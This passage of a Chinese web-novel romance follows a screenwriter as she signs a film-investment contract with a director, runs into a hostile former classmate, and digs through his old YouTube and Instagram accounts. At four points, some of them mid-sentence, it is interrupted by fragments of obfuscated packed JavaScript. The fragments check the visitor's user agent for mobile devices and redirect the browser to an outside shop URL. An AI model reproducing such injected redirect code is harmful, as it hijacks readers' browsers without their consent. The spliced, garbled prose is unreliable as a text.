谈雪昼拎着浑身湿淋淋的瑁妹喊她:“回来!这么大雨你干什么?” 宜夏只好收了伞折回去。 瑁妹被台风大雨吓得满屋乱窜,在泥地里打滚。刚刚谈雪昼好不容易逮住她,要两个人才能控制住这猫,给她洗澡。 然而瑁妹是一只灵动活泼又怕水的小猫。 谈雪昼把它按在水池里,宜夏举着花洒小心靠近:“没事,妹妹,很快的,很舒服的,别怕。” 话音没落,瑁妹大尾巴在水池里荡来荡去,宜夏胸口的衣料顿时湿了一大片。瑁妹拼命在水池里挣扎着,宜夏气急:“谈雪昼你按着它呀!” 两个人手忙脚乱好不容易洗完一只猫。 宜夏的衣服从胸口湿到了肩膀,再湿到了腰腹。 谈雪昼身上一件黑T,也几乎湿了个透。 猫咪甩干毛发上的水分,健步如飞从水池里窜出去,只留下两个主人面面相觑。 轰的一下,空气突然升温。 宜夏突然抬手捂住胸口,结巴了下:“那个……我去换个衣服。你也湿了。” “……”谈雪昼上下扫她一眼,声音低哑嗯了一声,转身上楼。 留下宜夏在浴室里,胡乱拍了拍自己的脸颊。 镜子里是一张绯红的脸孔,眼睛水光粼粼,含羞带怯。 她面对他,是什么时候开始脸红的? 怎么可以脸红。 - 停电的日子不好过,幸好很快就抢通了电力。 台风持续了两天,很快过境。 虽然暴雨依然在下,但电力通讯都恢复之后,生活没那么不方便了。 没过两天,岛上又恢复了阳光灿烂的好天气。 有网有电,这天吃完午饭,宜夏收到了谈雪昼发来的一份文件。点进去一看,是他说过的投资的合同。 她上看下看,认认真真把二十多页投资合同看了一遍。 自从被于思程从合同上摆了一道之后,宜夏就特别注意合同。但不是学法律的,再怎么看也看不明白有没有坑。她当然相信谈雪昼不可能坑她,不过还是比较谨慎地把合同发给了薛霓。薛霓本科是学法律的,虽然现在已经转行做心理咨询了。 薛霓收到合同,过半小时发来消息: 【你被包||养了?】 宜夏: 【?】 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13690795|141728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >薛霓: 【这合同谁给你的?】 【基本就是说给你钱给你投资让你放心大胆拍电影不求回报的意思,哪来的冤大头?】 宜夏迟疑: 【条件这么好吗?】 宜夏突然感觉良心隐隐作痛。 薛霓: 【事到如今,你只能献出美貌和□□报答金主爸爸了】 宜夏: 【……】 她再把合同看了一遍。 不知道为什么,突然有点不想签。 也许就是矫情,她总觉得,自己是在利用谈雪昼,甚至是在趁人之危——就是因为他两次发作她都陪着他,他对她,应该是产生了类似吊桥效应的感觉吧。 这份合同,也是利用了他的脆弱。 他根本不知道她最初的接近就是蓄谋已久、别有用心的。 宜夏抱着膝盖呆呆看着手机屏幕。 可是要她拒绝这一份合同,拒绝回到电影圈,拒绝拿回自己名誉的可能……她做不到。她不是高尚纯洁的人。 手机叮咚响了一声。 谈雪昼在微信上叫她: 【研究完了吗?】 【看出哪儿坑了你吗?】 宜夏犹豫半晌,慢吞吞打字: 【看不懂,你给我讲解一下吧?】 谈雪昼: 【上楼。】 他原来也不许她上楼。 可是最近就很自然的待在一块儿。 宜夏踏上台阶,一个猜想突然击中了她,让她心跳怦然过速—— 他不会真的喜欢上她了吧。 31. 春日 宜夏怀着忐忑,推开了二楼小书房的门。 谈雪昼坐在书桌前,低头改《牺牲者》的剧本。后颈弓着,又长又直,一段分明的棘突延伸到背上。 他左手边开着一盏台灯。那盏灯是宜夏从旧货市场淘来的,灯罩是翠绿色,开灯的时候绿色透亮得好像要从里面流出来一样。宜夏特地找了一块垂有金黄色流苏的格子布罩着,流苏的影子在桌面上一荡一荡,显出格外的静谧安宁。 宜夏站在原地,竟然有点恍然。 谈雪昼从流苏飘荡的影子中回头,看了她一眼。 漆黑的眼眸里是夜风的清澈温柔。 宜夏心跳更快,可是更酸涩了。 她抱着笔记本和一大堆资料,默不作声地走到谈雪昼旁边坐下。 书房里只有细微的空调运转声响。 谈雪昼偶尔敲一下键盘,清脆的回弹声。 宜夏翻页时纸张的摩擦声,铅笔在纸页上滑动的声音。 空气中浮动着书房浅浅的植物清香,是从外面露台飘来的夜来香。 安静了好久。 宜夏把手里已经整理好的剧本再翻了一遍。 谈雪昼这时终于点开了屏幕桌面上的那份合同,瞥她一眼:“有什么条款看不明白?” 宜夏摇摇头,说:“我都看懂了。但是——” 他漆黑的眼睛,目光如同流连在又深又浓的绿野上的明澈日光。 宜夏刻意地抖出纸张声,咳嗽一声:“谈老师。这个合同是不是,太优越了,不太合理啊?” “优越一点还不好?” 宜夏说:“这样我会觉得自己占了你便宜。” 谈雪昼挑了下眉,宜夏就知道他要吊儿郎当说“不能占你也占了很多回了”,赶紧制止:“这样我于心有愧。没必要条件这么好,就正常,和徐凌导演他们那些差不多就行?” 谈雪昼瞥她一眼:“你怎么知道徐凌的合同比你差?” 宜夏愕然:“你、你做慈善的啊?” 谈雪昼回头看屏幕上的合同条款,往下翻翻到底,说:“要是没什么问题,我下回出岛去江流,你跟我一起去把合同签了。” 宜夏慢慢地“嗯”了一声,看着他认真问:“你是看在我这个人的份上,还是看在我剧本的份上?” 谈雪昼偏过头,上下打量她一番,嗤笑:“你这个人有什么好看的?” “……” 宜夏恼羞成怒了:“喂!” 片刻后,她郑重说:“谈老师,我不会让你亏钱的。……这个本子我真的写得很用心,比强……比《江流冬日》更成熟,我会努力拿奖的,不会让你丢面子,不会让别人说你没眼光。” 谈雪昼敷衍她:“行了,不用表决心,自己知道就行了。” 宜夏话锋一转:“但说到底,我之前真的没拍过片子。所以,谈老师,你能不能事先指导我一下?” 谈雪昼瞥她一眼:“你不是看不上我的品味?” “其实……”宜夏顿了下,真诚说,“我当时那么说,只是为了吸引你的注意。我一直是你的粉丝,十年老粉了。” 谈雪昼:“……” 宜夏犹豫了下:“实在不行,你就点评一下我的剧本?给我提点意见也好呀。” 谈雪昼接过她推来的一叠剧本资料,低头翻了两页。 宜夏撑着脸,小心翼翼观察谈雪昼的神情。 皱了下眉?哪里写的不好?哪里写得很奇怪吗? 他阅读速度很快,从纸页间抬起眼。 宜夏紧张地抿了下唇:“有什么评论?” 谈雪昼慢条斯理说:“这个剧本,我的感觉呢——” 宜夏简直要被他故意吊胃口气到了:“你感觉什么呀?” “编剧还挺有才华的。” 宜夏小心翼翼:“……真的吗?” 电影剧本都很短,长的四五万字就结束了。宜夏这个剧本四万五千字,谈雪昼看得快,而且之前又看过好几遍,因此再翻一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13702094|141728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遍,很快看完。 已经被宜夏翻卷边的纸页往桌上一搁。 夜风拂过白纱窗帘,远处海浪声不知停歇地涨落着。 气氛很安静。 谈雪昼揉了下眼睛,没出声。 宜夏没忍住,试探着开口:“怎么样?” 谈雪昼十指交叉搁在桌面上,问得很认真:“我只是有点想知道,你怎么会写出这种东西?” 宜夏一愣:“……这种东西?” 他是什么意思? 不喜欢的话,也不用这么问吧。 他没回答,反而换了个话题:“你这个本子,如果是我来拍的话,我会用很多红色。” 宜夏又是一愣:“嗯?” “女主角第一次出场,应该穿的是红色的裙子。葬礼场景搭建,窗棂窗帘门板墙纸尽量用深红色。后来主角们主要活动的房间,也要用大面积的深红色,光尽量用偏暖的色调刻画。用这些颜色和光线对抗冲淡故事里的绝望。” 宜夏愣了一秒:“你觉得这个故事很绝望?” “人与人之间是不能互相理解的。人和人之间的隔膜,也无法通过爱来消除。所有的幸福都是短暂的,人与人之间的缘分是暴雨夜的台风,也像台风一样,很快就会消退,最后只留下静默和守望。这是我读到的东西。” 写故事的人和读故事的人感受是不一样的。 把这个故事修改了几十上百遍,宜夏把自己所有的想法全都编织进了细密的故事纹理中,却很少跳出来看。 陡然被他一点,跳出来一看,才发现整个故事已经不是最初一阵来自清塘山岛的晚风,而变成了阴沉沉、密匝匝的冰凉丝缎。 宜夏的心脏深处有一扇门。 这扇门现在好像隐约被关在里面的小鹿用角顶住了。梅花鹿的小角一下一下顶着门,把宜夏的心脏也撞得青青紫紫的淤伤。 心脏跳着,疼痛酸涩,又有甜蜜。 他比她想象得更懂她,比她自己更懂她。 32. 春日 - 合同已经拿到手了。 说突然不想签,确实有些矫情。 宜夏换个角度想,其实没必要太钻牛角尖。不管谈雪昼是为了什么给了她这个合同,说到底,她对剧本有自信,到时候拍出来效果好、口碑好、赚够钱,不就好了吗? 《清塘山岛日记》不属于那种院线商业片,上院线票房不会高,宜夏心里有数。但这不意味着拍这个片子一定是自嗨会亏钱,文艺片有专业的文艺院线,有固定受众,投资不高的话,亏损的概率反而比商业片低得多。 现在摆在宜夏面前的,倒是另一个问题比较严重。 那就是,签了合同之后,她就得准备自己拍电影了。 虽说谈雪昼给了她自信,但客观条件摆着,她没拍过,没经验,顶多算旁观过,自己亲自上阵是第一遭,可以预想一定会遇见很多困难。 赶鸭子上架,需要做很多准备。 不管怎么说,隔几天,谈雪昼出岛去江流跟《牺牲者》的主创开会。 宜夏一起去了江流一趟,跟他把《清塘山岛日记》的合同正式签了。 名字落下,一千万的投资就这样定了。 宜夏有些放空。 签完后,谈雪昼要去酒店决定最后一轮《牺牲者》的演员试镜。 《牺牲者》这个项目非常大,投资超过1.5亿刀,已经筹备了三年多。末世背景,未来科幻题材,难度非常高,也是业内所有年龄合适不合适的演员们都想咬一口的巨饼。 这次要试镜的是女主角,虽然之前已经筛选了好几轮,但留到最后一轮的还有五六个人,都是圈内大名鼎鼎的大明星。 宜夏以观摩为借口,再次以谈导的助理身份,跟着观摩试镜选人。 这次谈导跟剧组几个主创主动介绍了她。 不是助理,是编剧宜夏。 《牺牲者》的编剧季一鸣反应很大:“小谈,怎么,你打算带编剧进组啊?不带这样的,剧本你哪儿不满意我改,你带编剧进组就不像话了啊!” 宜夏赶紧解释只是跟着谈导来观摩一下试镜,不是跟组。 季一鸣皱着眉思考片刻,被旁边制片人暗示性捅了一肘子,豁然开朗,嬉皮笑脸凑到谈雪昼面前问:“谈总,哎,怎么回事啊,工作呢正经工作呢,不兴带家属参观的啊!” 谈雪昼很淡定说:“那没办法呢,有人比较想看。” 宜夏眼观鼻鼻观心。 可是,谈雪昼这是……把她介绍给工作的伙伴吗? 为什么要这么做。 开始试镜后,谈雪昼全程坐在黑暗的角落里安静地看,不发表评价。 季一鸣说得比较多,制片人也会针对每个演员的表现发表一些评论,这俩人还能争起来,争完了寻求全场其他人支持,要大家现场站队。 谈雪昼不理他们,他们就问宜夏:“宜老师你觉得谁有道理?” 宜夏觉得他们俩都没道理,像小学生。 谈雪昼带这么个团队,还能撑起一点五亿刀的投资,确实有点水平。 试镜结束,几个主创简单开了个会。 谈雪昼表示谁要的片酬少选谁。 制片人惆怅:“可是有两个不仅不要片酬,还愿意带资进组的,这怎么选呢?” 宜夏:“……” 她收回很久之前对谈雪昼的偏见。 谈导绝对是伟大的导演。 如果她也能让演员不仅不要片酬还带资进组,她该多么乐观开朗啊! 几个主创在会议室里开会。 宜夏为了避免听到太多商业机密,提前离场,在外面等谈雪昼结束。 去卫生间洗手,一出来,在走廊却撞见了一个熟人。 是她高中的同班同学徐佳雨。 宜夏一眼就认出了她。 她站在一棵高大的散尾葵后,正低着头玩手机,没抬头,宜夏就没想打招呼,打算直接走掉。 一局游戏结束,徐佳雨抬起头,揉了揉僵硬的脖子,眼神定在了宜夏身上,认了两秒:“宜夏?是你吗?” 宜夏假装没看见的想法破产,不得不礼貌跟人点头:“好巧。” “是挺巧的。我陪我们家庆凝来试镜。你在这干嘛呢?”她上下打量宜夏一番,看见她头顶的《牺牲者》剧组定制的棒球帽,语气突然变得很热情,“啊,听说你之前在当编剧,你不会这么牛吧,《牺牲者》的编剧?” 宜夏:“不是,我就是……助理。打杂的。” 徐佳雨热情的笑脸没收敛,依然挂着,上上下下打量她一番,“哎呀”一声,问:“你之前不是在做编剧吗?怎么不做了?之前咱们班聚会你都不参加,都说你当大编剧了看不起咱们老同学了……” 宜夏说:“我工作比较忙,时间对不上。” “那现在呢?现在你做谁的助理啊?你认识谈导吗?能跟他说上话吗?帮我打听下他想选谁呗?” 宜夏皱了下眉,再次解释:“我只是打杂的。” “真的假的啊,你该不会是不想帮老同学吧?”徐佳雨一撇嘴,笑了,“不带这样的啊,咱们好歹也高中同学一场呢。说真的,能帮忙引荐一下谈导吗?我们庆凝要是试上了,肯定感谢你啊。” 宜夏已经不想跟她纠缠了,直接说:“不好意思,我还有别的事。” “哎宜夏,咱们都这么久没见了,你态度怎么这么冷漠啊?你不会一直记恨高中我站关馨没帮你的那些事儿吧?”徐佳雨做了个很夸张的口型,“那不是太小心眼儿了吗?叫你帮个忙也不肯帮,这可不是在娱乐圈做大事的态度啊,怪不得当不了编剧只能打杂了啊。宜夏,对不起啊我说话比较直。” 宜夏扯了个皮笑肉不笑的笑容,温柔说:“我一直知道你说话很讨厌,你倒不是直。” 话音没落,几道人影从走廊拐角过来。 谈雪昼走在最前面,后面是选角导演、副导演和制片。 隔了一段距离,谈雪昼停住。 旁边制片看见了宜夏,叫她一声:“宜老师,你怎么出来这么久。咱们会都开完了,我在天顺阁定了张桌子,走一起去吃饭了?” 又看见了宜夏身边的徐佳雨,制片人皱了下眉,“……你是?” 徐佳雨表情有些惊慌,飞速瞟了宜夏一眼,赶紧跟制片说:“周总我是庆凝的执行经纪。” “你家艺人呢?”制片说,“不是让你们试镜完了不要逗留在这里吗?” “我们马上走!庆凝是去……去补妆了。”徐佳雨赔笑,“我跟……跟宜夏是高中同学呢,碰上了聊会儿天。” 制片人一挑眉。 谈雪昼漫不经心开口:“走了宜夏。” 宜夏把头顶的棒球帽扯下去一点,走到谈雪昼身边。谈雪昼甚至没看徐佳雨一眼,直接从她身旁走过,拉了宜夏一下。 一起走出去,到电梯里,谈雪昼才问她:“刚刚那是你同学?” “嗯。高中的,同班同学。”宜夏说,“很多年没联系了。” 旁边制片问:“宜老师你高中哪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13715874|141728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个学校的啊?” 宜夏说:“就是江流本地的,江流中学。” 江流中学是江流本市甚至全省最好的高中,可以面向全省招生,非常有名,宜夏当时初中时她们县城初中的第一名,通过自主招生进的这所学校。 制片一听,哇了一声:“这么厉害?那大学呢?” 宜夏笑了下:“隔壁江大的。” 江大也是一所985,制片肃然起敬:“宜老师你还是学霸啊。” 季一鸣在旁边插话:“诶,那宜老师,你不是和小谈是校友?他高中也是江流的。” 宜夏探寻地转头看谈雪昼,有些错愕:“是吗?谈老师没跟我提过。” 谈雪昼扯了下唇角,语气敷衍冷淡:“又不重要。” 季一鸣说:“小谈高中应该挺有名的吧?你们上下几届,你不认识他啊?” 宜夏低声说:“我高中的时候,朋友不多,确实……不怎么认识。” 也没听说过谈雪昼这个名字。 季一鸣使劲回想:“哦谈总是不是读的国际部?宜老师是本部吧?这样确实不认识。” 宜夏微微仰起脸看着谈雪昼。谈雪昼略略点头,有一下没一下划着手机,凉凉说:“我是国际部。宜老师怎么会认识我这种无名小卒。” 宜夏:“……” 这人怎么突然阴阳怪气起来了。 一群人在餐厅里聚餐,杯盘狼藉时,宜夏低头看了眼手机。 收到了一条好友申请,来自徐佳雨。 宜夏高考之后就把高中绝大部分同学和群聊都删掉了,一直没有联系。 徐佳雨在备注消息里写: 【宜夏,我是徐佳雨。今天好巧啊,咱们都在影视圈里工作,加个好友以后好联系呗?】 宜夏没通过。 吃完饭从餐厅出来时,宜夏又收到了第二条。 【宜夏,咱们同学一场,怎么连个好友都不通过呀?对了,你跟谈导是什么关系呀?】 宜夏依然没通过那个好友申请。 她能想象,徐佳雨绝对会在高中同学的小群里各种说她坏话,但她听不见,所以不在意。 她跟高中同班同学关系都很差。 她不喜欢他们,他们也不喜欢她。 她不喜欢他们,所以独来独往。他们不喜欢她,所以,心照不宣的一场孤立霸凌,如暴雨般落下。 回嘉华汇的路上,宜夏收到了第三条好友申请。 【对了宜夏,加一下我的好友吧,宗老师想要找你,我帮她推一下你的名片过去呗?】 宗老师叫宗桂华,是宜夏高中时的语文老师,算是她三年高中,唯一算得上关心爱护她的老师。宜夏想了想,还是通过了徐佳雨的申请。 谁知道,一加上好友,徐佳雨就开始不停打听谈雪昼选角的事。 宜夏不胜其烦,给人设定了一个免打扰,一句也没有回复。虽然不礼貌,但很有效,徐佳雨自说自话说了一阵,停了,给她发了个微信名片,说: 【这是宗老师的微信。咱们学校马上要校庆了,宗老师挺关心你,惦记你在做什么。】 总算说了句人话。 宜夏添加了宗老师的微信,对方很快通过,宜夏跟老师再次联系上了。聊了几句再切回了徐佳雨的对话框,却看见最下面一条是: 【对了宜夏,于璟回国了你知道吗?你们联系上了吗?】 宜夏一下没劲了,把和徐佳雨的所有聊天记录全都删了个干净,眼不见心不烦。 33. 春日 宜夏今天这一趟认识了季一鸣和《牺牲者》的制片周冉。 季一鸣写过的剧本不多,全都是科幻题材的,想象宏大开阔,叙事也很感人,每一部都算得上精品,商业上很成功,口碑也不错,叫好又叫座。 宜夏跟他聊了一阵,学了不少。 这人专业是很专业,只是身上拥有大部分编剧一定会有的特质:八卦。 聊完重点,他就暗戳戳把话转移到宜夏身上,一直旁敲侧击各种打听,想知道谈雪昼跟宜夏到底什么关系。 虽然没直接说明白吧,但那氛围,是有点暧昧的。 兄弟们约好了一起做电影圈最纯洁的单身狗,没想到,谈雪昼这个狗却偷偷背着兄弟找上对象了。 浓眉大眼的,这么不靠谱。 宜夏假装没看懂他的潜台词,避而不答,问: 【季老师,听说你高中的时候就认识谈导了是吗?】 季一鸣说: 【是他高中的时候。那时我在江中大读文学呢,那会儿认识的。】 宜夏坐直,捧着手机打听: 【那他高中什么样呀?】 季一鸣嗅到了不同寻常的气氛,不怀好意地说: 【想知道,你去问他本人呗】 【他肯定特别的愿意让你知道】 宜夏不受影响: 【季老师,你们怎么认识的呀?】 季一鸣: 【他那时候拍定格动画,我在网上写脚本,那会儿认识的。】 【说到高中的时候,谈狗真是清纯不做作的一条好狗啊,拍的东西可清新可童话了,我还以为是小姑娘,以为是上天赐予我的一段缘到了】 【谁知道真刀实枪拍片子了,这条狗就一天到晚的拍爆炸戏】 ……怎么能叫他谈狗。 宜夏觉得他也不像狗。 像鹿。 她想了想: 【谈老师拍哪种类型的定格动画啊?我也想学习一下。】 季一鸣: 【你在油管搜一个叫Martha的Up】 【这就是小谈高中的账号】 宜夏愣住了。 不因为别的,Martha是宜夏很早就关注过的Up主。 高中的时候,宜夏经历了很长时间的孤立,没什么朋友,过得很苦闷。 那时她只能自己私下写一些小故事,童话故事,自我排遣开解。语文老师偶然看到了她写故事的本子,劝她把故事投稿到《儿童文学》杂志上。高二的时候,她投稿过稿了,竟然有人给她寄信,与她在信纸上聊天。 那是她高中时唯一的一个朋友。 那个朋友没留名字,落款是一枚印章,印着“冬宜密雪”四个字,只不过是篆书,篆刻得很复杂,宜夏那时候只认出来“冬”字,一直叫TA冬天。 有一段时间,她因为同学关系、学业压力而焦虑失眠,冬天给她推荐了Martha,说Martha拍的东西都特别清新治愈。 Martha正好在那段时间开了个睡前故事的栏目。把视频关掉,只听声音,很容易哄人入睡,宜夏有很长一段时间,是被Martha的声音哄睡的。 ——Martha竟然是谈雪昼吗? 后来到了大学,宜夏的人际关系好转,失眠也不再严重,同时Martha更新变少,她也就很少再回头看这个陪伴了自己一程的Up了。 今天再次点进去看,宜夏却发现,Martha这个账号竟然积累了超过四百万订阅,妥妥算是大Up了。 宜夏怀着一种异样的心情,再次点进他播放最高的一个系列。 是用很多别出心裁的道具拍的童话故事,讲了一只名字叫做玛莎的小鹿寻找春天的过程。 画风清新治愈得要命,宜夏看完心酸酸涨涨的。 没想到,少女时期陪伴了她那么久的声音,竟然是谈雪昼。 动画结束,黑屏,还有谈雪昼本人的声音出镜。 他用英文把刚刚那个故事讲了一遍,声音青涩,清朗柔软,是很抓耳的少年音。 底下评论区出现了很多种语言,全都在吹彩虹屁,夹杂着一些问他什么时候更新下一条、等他回来的评论。 宜夏撑着下巴,突然想,谈雪昼真是很厉害的人啊。 做什么都做得很好,拍视频是,拍电影也是。 她……也要变得厉害一点。 成为像他那样的人。 心里柔软得不像话,把Martha发的所有视频都看了一遍。 谈雪昼总是给她新鲜感,仿佛他这个人身上藏着永远挖不尽的宝藏,一个谜题,一条深埋矿藏的山脉,一条收藏了无数珍贵宝石的龙。 宜夏每次感觉自己已经认识他之后,他又会展示给她一个更新更独特的侧面。 许多珍贵的钻石般的侧面合起来,构成一个完整而独一无二的他。 看着看着,宜夏突然注意到,Martha最初的几条视频,评论区里有一个跟谈雪昼互动很频繁的账号,像是现实认识,聊天没聊什么有营养的话题,只是一直互动,挺热闹的。 那个账号的头像是个很萌的粉色小兔子。 像是女生。 宜夏捧着手机,犹豫片刻,点进那个账号。 那个账号只发过一条动态,是一段十秒钟的滑雪视频,很多年以前的互联网遗存。 视频里是好几个年轻男生,一个接一个从山顶往下滑,冷风从耳畔呼啸而过,视频里全是朗朗的大笑声。都戴着头盔雪镜,看不清脸,但宜夏分明觉得其中一个是谈雪昼。 没看见女生。 视频结尾是一张定格的照片,几个男孩子搭着肩膀冲镜头笑。雪镜推到了头顶,每个人的眼睛都闪闪发光。 谈雪昼真的在里面。所有人当中,他的眉毛最黑浓,眼睛最明亮,神色最肆意张扬,最灿烂明媚。 照片右下角有个水印,是一个Ins账号。 宜夏感觉自己已经是福尔摩斯大侦探。 她突然好想好想知道谈雪昼高中的时候是什么样。 她自己的高中灰头土脸,黯淡无光,也想知道灿烂明亮的光是怎样如闪电般穿过峡谷,与世界相逢。 她退出Youtube点进ins,搜索了那个账号。 没有注销,但这几年也已经停用。 前几年发了一些动态,拍的都是大学的照片,定位在普林斯顿大学。博主本人没出镜,只有一张举着猫的照片,单手出镜,手背青筋明显,骨节修长,看得出来不是女生,是男生。 宜夏顺着往下翻。 翻到了评论区里一只玳瑁猫头像。 这一刻宜夏真的是福尔摩斯附体。 ——她应该找到了谈雪昼的Ins账号。 宜夏深吸一口气,点进玳瑁猫的主页。 和Martha一样,这个账号也已经接近停用,不过,以前的动态没有被删除。宜夏兴致勃勃从最新的内容往前翻。 一连好几条都是晒猫的。 一只长得特别奇怪的阴阳脸玳瑁猫,在他的镜头里上蹿下跳。 有时候蜷缩在地毯的光斑上晒太阳,有时候戴着小墨镜小头盔趴在漆黑的机车车把上兜风。还有一张,是谈雪昼在跳伞,小猫被他绑在胸前,紧紧抓着他胸口的衣服,张大嘴巴,几根胡须随风飘扬。他在镜头里笑得张扬灿烂,是十八九岁的最好年华。 宜夏回想起自己的少女时代。 平淡无味,乏善可陈,仿佛溺在长久的回南天里,潮湿的雨意连绵不绝。 而谈雪昼是被太阳晒过的,干燥温暖的,金灿灿的好时光。 怎么可能不喜欢他。 心软得几乎被肆意揉捏成一团。 他ins发得不是很多,宜夏很容易就翻到了最底下。 她眼神忽然凝住。 有一条ins,发的时间比较特殊,是八年前,2015年的时候。 六月六号,高考前一天晚上。 谈雪昼拍了张照片,漫天的火烧云层层叠叠,把整个城市渲染得如梦似幻。黄昏时分的天际线,城市的剪影如同文艺电影的空镜头。 他没出镜,照片上留下了一串马克笔的黑色笔迹,一串英文,SunnyDay。 底下定位是江流市。 八年前? 那正好是她高考那年。 宜夏看了他的百科,他比她高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13722147|141728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两届,那时候应该早就去大学了。而且他读的国际部,也不需要高考,直接申请的国外的大学。 百度百科写他本科是在耶鲁,这个时间他应该在美国上学吧? 为什么会回江流呢。 联想到这个敏感的时间。 宜夏忽然猜测,他会不会是送……女朋友,或者是那时候有好感的女声,参加高考。 她点开这条微博的评论区。 底下有人顶着特别萌的卡通伯恩山小狗头像,在下面很熟稔地问:回来了? 谈雪昼顶着玳瑁猫头像回答伯恩山:嗯 伯恩山问:什么时候回 玳瑁猫:等人考完 伯恩山:你至于吗,又不跟人家说又偷偷回来送人家考试? 玳瑁猫:你管得着? 伯恩山:我特么多余关心你 玳瑁猫:管好你自己 伯恩山:你有病,滚 玳瑁猫:该滚的是你吧 宜夏甚至能脑补出他说话的语气,太欠揍了。 他和熟悉亲密的好朋友说话,嘴巴居然也这么讨厌,能活到今天真是撞大运。 “不跟人家说又偷偷送人家考试”。 所以…… 真的是送当时喜欢的女生考试吗? 少年时期的白月光之类的,这种最讨厌了。 又想到他说他没有谈过恋爱,那肯定是少年时的白月光在心里占据了太重要的位置。 甚至为白月光守身如玉。 谈雪昼。 你至于吗。 烦不烦。 情绪突然低落起来。宜夏烦闷地盯着屏幕,看了好久,泄气地退出了Ins。 烦死了。 福尔摩斯一晚上,就发现了这种她根本不想知道的故事。 然而宜夏半夜翻来覆去没睡着。 数到一千只羊的时候,她满怀怨念按亮了床头灯。既然Youtube、Ins都偷偷找出来了,说不定能发现什么蛛丝马迹,找到那个白月光到底是谁。 宜夏趴在床上,聚精会神试图找到任何痕迹。 先找谈雪昼有没有Twitter、FB,对了,微博也不能放过。宜夏一向坚忍不拔,任何细枝末节都不放过。 然而,谈雪昼对自己的隐私保护得很好,宜夏还真没找到任何痕迹。 她最后点开谈雪昼的微博。 他认证的大号直接就是生活号,认证成导演之前发过不少内容,可惜基本都是他的阴阳脸小猫,别的什么都没有。 宜夏揉了揉干涩的眼睛,看了眼时间……已经凌晨五点多了。 她这是熬了个通宵。 一无所获。 她不信邪,从头点进谈雪昼的微博仔细看。 他最近发的一条内容是替一个题材小众的悬疑电影宣传。评论区里,宜夏看见了一个熟悉的ID,@于思程Sunny。 于思程说:哈哈哈哈感谢谈老师宣传,有机会约饭啊~上次你推荐的那家餐厅特别好,他们最近开发新菜了,什么时候一起去试啊! 楼中楼是些路人,问: Sunny跟谈导很熟啊? 是哪家餐厅,我也想试! 上次去柏越天衡偶遇了Sunny,Sunny好美 Sunny是在和谈导谈恋爱吗哈哈哈[捂嘴偷笑][捂嘴偷笑] 宜夏这下心情更差了。 她要按右上角点叉退出,却不小心点进了于思程的微博里。 一眼就扫到,第一条内容是于思程在暗戳戳地秀,摆拍,展示自己的名媛生活——奢华的下午茶,摆着平板慵懒地看电影,平板上放的画面正是谈雪昼的《心声直播》。 下一条还是在秀,秀一条镶满钻石的手链,说是哥哥回国特地送的定制款,顺带惆怅地问什么时候能得到戒指呢?下面评论区则是小粉丝在问她,Sunny在期待谁给你送戒指呀,她只发了个捂嘴偷笑的表情。 宜夏面无表情关掉微博,钻回被子里。 什么白月光,什么内疚,什么后悔,不敌此时此刻宜夏胸口燃起的一团火。 她发誓,于思程要能成功跟谈雪昼在一起,她就不姓宜。 34. 春日 虽然《牺牲者》已经开始筹备了,但谈雪昼的五个月漫长假期还没结束,他没打算提前收假。 几天工作过后,两个人一起回了清塘岛。 谈雪昼懒懒散散有一搭没一搭地画着《牺牲者》的分镜头草稿。 宜夏已经拿到了合同,打算自己拍,跟谈雪昼学前期怎么筹备,顺带根据他的意见再修一版剧本。 岛上已经是旅游旺季,平时出去散步,多了许多游客,但两个人平静的生活没怎么受到影响。 日头一天天斜,在平静安宁中,宜夏却还默默酝酿着别的心事。 于思程那几条暗戳戳的微博让她如鲠在喉。 理智上清楚,谈雪昼估计都不知道于思程到底在微博上暗示了小粉丝什么,但感性上,她还是一阵恶心难受。 她现在就是,特别的想知道谈雪昼对于思程是什么感觉。 不会有好感吧? 对她呢? 不会没有好感吧? 谈雪昼这个人的态度很难捉摸。 给她投资,带她见他的朋友同事们,带她回了他住的地方。似乎已经摆明了,只剩一层窗户纸语破未破。 但偏偏就是,总是不破。 宜夏迫切需要一个明确的信号。 他到底对她有没有一点喜欢? 宜夏没有人能求助。 